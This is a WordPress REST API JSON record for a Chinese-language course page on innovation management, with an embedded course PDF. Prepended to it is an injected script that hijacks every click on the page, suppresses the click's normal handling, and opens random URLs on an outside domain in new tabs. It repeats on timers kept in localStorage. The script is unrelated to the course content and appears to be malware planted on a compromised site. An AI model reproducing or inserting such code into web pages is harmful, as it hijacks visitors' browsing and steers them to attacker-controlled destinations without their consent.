<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1784,"date":"2020-03-05T05:24:21","date_gmt":"2020-03-04T21:24:21","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_course01\/?page_id=1784"},"modified":"2020-03-05T05:31:54","modified_gmt":"2020-03-04T21:31:54","slug":"%e8%aa%b2%e7%a8%8b%e8%b3%87%e8%a8%8a","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_course01\/?page_id=1784","title":{"rendered":"\u8ab2\u7a0b\u8cc7\u8a0a"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1784\" class=\"elementor elementor-1784\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4917c97 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4917c97\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-bb8f18f\" data-id=\"bb8f18f\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-f8a8381 elementor-widget elementor-widget-heading\" data-id=\"f8a8381\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">\u5275\u65b0\u7ba1\u7406\u7684\u7406\u8ad6\u6a21\u578b\u8207\u76f8\u95dc\u77e5\u8b58<\/h3>\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-element elementor-element-51d5e62 elementor-widget elementor-widget-text-editor\" data-id=\"51d5e62\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t\t\t\t<div class=\"elementor-text-editor elementor-clearfix\">\r\n\t\t\t\t<h5>\u672c\u8ab2\u7a0b\u4ecb\u7d39\u5275\u65b0\u7ba1\u7406\u7684\u7406\u8ad6\u6a21\u578b\u8207\u76f8\u95dc\u77e5\u8b58\uff0c\u900f\u904e\u500b\u6848\u8a0e\u8ad6\u8207\u5206\u6790\u5be6\u4f5c\uff0c\u8b93\u540c\u5b78\u80fd\u5920\u7406\u89e3\u5275<\/h5>\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-element elementor-element-70fefe8 elementor-align-right elementor-widget elementor-widget-button\" data-id=\"70fefe8\" data-element_type=\"widget\" data-widget_type=\"button.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t<div class=\"elementor-button-wrapper\">\r\n\t\t\t<a href=\"http:\/\/edu.secda.info\/phil999_course01\/?p=1470\" class=\"elementor-button-link elementor-button elementor-size-sm\" role=\"button\">\r\n\t\t\t\t\t\t<span class=\"elementor-button-content-wrapper\">\r\n\t\t\t\t\t\t<span class=\"elementor-button-text\">\u4e86\u89e3\u66f4\u591a<\/span>\r\n\t\t<\/span>\r\n\t\t\t\t\t<\/a>\r\n\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-40e13b0 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"40e13b0\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-989180c\" data-id=\"989180c\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-229123f elementor-widget elementor-widget-text-editor\" data-id=\"229123f\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t\t\t\t<div class=\"elementor-text-editor elementor-clearfix\">\r\n\t\t\t\t<a href=\"https:\/\/edu.secda.info\/phil999_course01\/wp-content\/uploads\/2020\/03\/10802-V5.pdf\" class=\"pdfemb-viewer\" style=\"\" data-width=\"max\" data-height=\"max\"  data-toolbar=\"top\" data-toolbar-fixed=\"on\">10802-V5<br\/><\/a>\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u5275\u65b0\u7ba1\u7406\u7684\u7406\u8ad6\u6a21\u578b\u8207\u76f8\u95dc\u77e5\u8b58 \u672c\u8ab2\u7a0b\u4ecb\u7d39\u5275\u65b0\u7ba1\u7406\u7684\u7406\u8ad6\u6a21\u578b\u8207\u76f8\u95dc\u77e5\u8b58\uff0c\u900f\u904e\u500b\u6848\u8a0e<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":0,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1784"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1784"}],"version-history":[{"count":6,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1784\/revisions"}],"predecessor-version":[{"id":1792,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1784\/revisions\/1792"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1784"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}